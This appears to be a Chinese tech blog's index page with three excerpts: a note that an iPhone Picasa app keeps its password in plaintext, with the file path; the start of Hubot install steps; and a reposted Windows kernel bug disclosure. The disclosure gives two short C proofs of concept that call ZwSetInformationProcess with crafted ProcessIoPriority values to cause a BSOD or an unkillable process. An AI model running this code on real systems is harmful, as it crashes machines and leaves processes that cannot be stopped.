Web Albums(iPhone) 的蛋疼明文密码

webpicasa

一款蛮不错的的Picasa相册同步软件,并且还有个密码保护功能,看起来很帅的样子。设置密码之后习惯性的想看下密码保存在什么地方,是不是明文的,于是随便在文件夹下翻了翻,不小心就找到了。娃哈哈,蛋疼啊,如果忘记密码了去软件目录下找到这个文件:

/var/mobile/Applications/51AE867E-C284-4961-B6D6-48428404FE12/Library/Preferences/com.yourcompany.PhotoGator.plist

Continue Reading

hubot install. hubot 机器人安裝

hubot

 

Hubot

This is a version of GitHub’s Campfire bot, hubot. He’s pretty cool.

You’ll probably never have to hack on this repo directly.

Instead this repo provides a library that’s distributed by npm that you simply require in your project. Follow the instructions below and get your own hubot ready to deploy.

1.安装nodejsnpm (node v0.6.3+版本以后已经集成npm)

2.安装redis数据库
http://redis.googlecode.com 下载redis

$ tar xzf redis-x.x.x.x.tar.gz 解压文件
$ cd redis-2.4.1
$ make

启动服务: $ src/redis-server

Continue Reading

ProcessIoPriority Bug (BSOD/Non-Killable Process)

//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar

BSOD:
#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0xFFFFFFFF;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Non-Killable Process:

#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0x8000F129;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Description:
With the “ProcessInformationClass” parameter set to ProcessIoPriority 0x21, passing certain signed values e.g. 0xFFFFFFFF or 0x8000F129 in the variable pointed to by the “ProcessInformation” parameter to the ntdll “ZwSetInformationProcess” function can be abused to arbitrarily set certain bit flags of the corresponding “_EPROCESS” structure e.g. DefaultIoPriority: Pos 27, ProcessSelfDelete : Pos 30, or SetTimerResolutionLink: Pos 31.

Link:http://waleedassar.blogspot.tw/2013/02/kernel-bug-1-processiopriority.html